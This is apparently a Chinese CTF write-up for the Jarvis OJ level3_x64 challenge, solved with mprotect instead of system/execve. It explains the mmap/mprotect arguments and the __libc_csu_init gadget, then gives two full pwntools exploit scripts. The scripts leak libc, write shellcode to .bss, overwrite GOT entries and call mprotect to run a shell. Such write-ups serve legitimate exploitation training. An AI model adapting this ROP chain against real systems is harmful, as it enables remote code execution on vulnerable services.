题目要求:附件同level3_x64,
mmap
和mprotect
练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。
那么首先,参考mmap函数和mprotect函数
什么是mmap?==>告诉内核将一个给定的文件映射到一个存储区域中
void mmap( void *start , size_t length , int prot , int flags , int fd , off_t offsize);
void *mmap(void *addr, //用于指定映射存储区的起始地址,通常设置为0,表示让操作系统选择该映射区的起始地址。此函数的返回地址是映射区的起始地址。
size_t len, //映射的字节数
int plot, //对映射区的保护要求 1、PROT_READ(映射区可读) 2、PROT_WRITE(映射区可写) 3、PROT_EXEC(映射区可执行) 4、PROT_NONE(映射区不可访问)
int flag, //flag参数影响映射存储区的各种属性
int filedes, //指定要被映射文件的描述符
off_t off); //off表示要映射的字节在文件中的起始偏移量
(六个参数用rdi,rsi,rdx,rcx,r8,r9控制)
什么是mprotect?==>更改一个现存映射存储区的权限
int mprotect(const void start, size_t len, int prot);
int *mprotect(void *addr, //地址addr必须是系统页长的整数倍(一页=4kb=0x1000b)
size_t len, //len长度
int plot); // 对存储映射区保护要求(权限值) 1、PROT_READ 2、PROT_WRITE 3、PROT_EXEC 4、PROT_NONE
(三个参数分别用rdi, rsi, rdx 控制)
0x01寻找漏洞
开启NX保护。
程序存在栈溢出漏洞
0x02思路
1.利用write
泄露libc
2.得到mprotect
函数在内存中的地址
3.将shellcode写入bss段
4.将bss和mprotect
函数写入got表(利用got地址处为空的地址即可)
5.利用通用gadget调用mprotect
,将bss段设置为可执行跳转到bss段执行shellcode
通用gadget
.text:0000000000400650 ; void _libc_csu_init(void)
.text:0000000000400650 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650 push r15
.text:0000000000400652 mov r15d, edi
.text:0000000000400655 push r14
.text:0000000000400657 mov r14, rsi
.text:000000000040065A push r13
.text:000000000040065C mov r13, rdx
.text:000000000040065F push r12
.text:0000000000400661 lea r12, __frame_dummy_init_array_entry
.text:0000000000400668 push rbp
.text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 push rbx
.text:0000000000400671 sub rbp, r12
.text:0000000000400674 xor ebx, ebx
.text:0000000000400676 sar rbp, 3
.text:000000000040067A sub rsp, 8
.text:000000000040067E call _init_proc
.text:0000000000400683 test rbp, rbp
.text:0000000000400686 jz short loc_4006A6
.text:0000000000400688 nop dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
在函数loc_400690
中,可以通过r13,r14,r15来控制rdx,rsi,edi
在函数loc_4006A6
中,可以控制r13,r14,r15。
由此,我们可以控制mprotect
函数的三个参数
首先布置栈来确定rbx, rbp, r12, r13, r14, r15的值,然后将返回地址置为loc_400690
函数地址,loc_400690
函数中的call ptr[r12+rbx*8]由前面的布置决定,由于是call ptr指令,所以要用got表地址来解析
为了确保不jnz,要将rbx置为0。可执行权限取决于r13,设置为7(rwx),长度取决于r14(设置的权限的地址的范围,对于此题,我们要将bss段包含进去),地址取决于r15
0x03攻击
这道题的exp有这么几个和我不太一样的版本:
1.https://www.cnblogs.com/snip3r/p/9947961.html
这个难理解的就是pop rbx的偏移(对我而言)
2.https://blog.csdn.net/qq_38204481/article/details/80984318
这两位师傅写的我测试了,根据自己的文件进行修改,都是可以cat flag滴,放心食用
关于不加pause()远程打不通,有师傅说是一次发送的payload数据包太大,read函数会截断发送导致攻击失败
完整exp:这个脚本我调了好久...不知道为啥打不通...后期来改TAT
#!usr/bin/python
from pwn import *
# context.log_level = "debug"
# io = remote("pwn2.jarvisoj.com", 9884)
io = process("./level3_x64")
libc = ELF("libc-2.19.so")
elf = ELF("./level3_x64")
rop1 = 0x00000000004006AA #pop_rbx_rbp_r12_r13_r14_r15
rop2 = 0x0000000000400690 #mov rdx,r13;; mov rsi,r14;; mov edi,r15d
bss_addr = 0x0000000000600A88
main_addr = 0x000000000040061A
pop_rdi_ret = 0x00000000004006b3
pop_rsi_r15_ret = 0x00000000004006b1
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
vul_addr = elf.symbols["vulnerable_function"]
io.recv()
print "=======leak======="
payload1 = "a" * 0x80 + "a" * 8
payload1 += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(read_got) + "a" * 8 + p64(write_plt) #write(1, read_got, 8)
payload1 += p64(vul_addr)
io.sendline(payload1)
read_addr = u64(io.recv()[0:8])
print "read_addr ==> "+hex(read_addr)
libc_base = read_addr - libc.symbols["read"]
mprotect_addr = libc_base + libc.symbols["mprotect"]
io.recv()
print "=======read shellcode to bss======"
pause()
payload2 = "a" * 0x80 + "a" * 8
payload2 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + "a" * 8 + p64(read_plt)
payload2 += p64(vul_addr)
io.sendline(payload2)
shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
io.sendline(shellcode)
io.recv()
print "======write bss to got======"
pause()
bss_got = 0x600A48
payload3 = "a" * 0x80 + "a" * 8
payload3 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_got) + "a" * 8 + p64(read_plt)
payload3 += p64(vul_addr)
io.sendline(payload3)
io.sendline(p64(bss_addr))
io.recv()
print "======write mprotect to got======"
pause()
mprotect_got = 0x600A50
payload4 = "a" * 0x80 + "a" * 8
payload4 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(mprotect_addr) + "a" * 8 + p64(read_plt)
payload4 += p64(vul_addr)
io.sendline(payload4)
io.sendline(p64(mprotect_addr))
io.recv()
print "====== end ======"
pause()
payload5 = "a" * 0x80 + "a" * 8
payload5 += p64(rop1) + "a" * 8
payload5 += p64(0) + p64(1) + p64(mprotect_got) + p64(7) + p64(0x1000) + p64(0x600000)
#rbx #rbp #r12 #r13 #r14 #r15
#rdx #rsi #edi
payload5 += p64(rop2) + "a" * 8
payload5 += p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
#rbx #rbp #r12 #r13 #r14 #r15
#rdx #rsi #edi
payload5 += p64(rop2)
io.sendline(payload5)
sleep(5)
io.interactive()
【8.13更正】师父帮我改的555
#!/usr/bin/env python
from pwn import *
# context.log_level = "debug"
io = remote("pwn2.jarvisoj.com", 9884)
libc = ELF("./libc-2.19.so")
elf = ELF("./level3_x64")
rop1 = 0x00000000004006A6 #pop_rbx_rbp_r12_r13_r14_r15
rop2 = 0x0000000000400690 #mov rdx,r13;; mov rsi,r14;; mov edi,r15d
bss_addr = 0x0000000000600A88
main_addr = 0x000000000040061A
pop_rdi_ret = 0x00000000004006b3
pop_rsi_r15_ret = 0x00000000004006b1
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
vul_addr = elf.symbols["vulnerable_function"]
io.recv()
print "=======leak======="
payload1 = "a" * 0x80 + "a" * 8
payload1 += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(read_got) + "a" * 8 + p64(write_plt) #write(1, read_got, 8)
payload1 += p64(vul_addr)
io.sendline(payload1)
read_addr = u64(io.recvn(8))
libc_base = read_addr - libc.symbols["read"]
mprotect_addr = libc_base + libc.symbols["mprotect"]
print "read_addr ==> "+hex(read_addr)
print "libc_base ==> "+hex(libc_base)
print "mprotect_addr ==> "+hex(mprotect_addr)
io.recv()
print "=======read shellcode to bss======"
payload2 = "a" * 0x80 + "a" * 8
payload2 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + "a" * 8 + p64(read_plt)
payload2 += p64(vul_addr)
io.sendline(payload2)
shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
io.send(shellcode)
io.recv()
print "======write bss to got======"
bss_got = elf.got["__libc_start_main"]
payload3 = "a" * 0x80 + "a" * 8
payload3 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_got) + "a" * 8 + p64(read_plt)
payload3 += p64(vul_addr)
io.sendline(payload3)
io.send(p64(bss_addr))
io.recv()
print "======write mprotect to got======"
mprotect_got = elf.got["__gmon_start__"]
payload4 = "a" * 0x80 + "a" * 8
payload4 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(mprotect_got) + "a" * 8 + p64(read_plt)
payload4 += p64(vul_addr)
io.sendline(payload4)
io.sendline(p64(mprotect_addr))
print "====== end ======"
payload5 = "a" * 0x80 + "a" * 8
payload5 += p64(rop1) + "a" * 8
payload5 += p64(0) + p64(1) + p64(mprotect_got) + p64(7) + p64(0x1000) + p64(0x600000)
#rbx #rbp #r12 #r13 #r14 #r15
#rdx #rsi #edi
payload5 += p64(rop2) + "a" * 8
payload5 += p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
#rbx #rbp #r12 #r13 #r14 #r15
#rdx #rsi #edi
payload5 += p64(rop2)
io.recv()
io.sendline(payload5)
io.interactive()
网友评论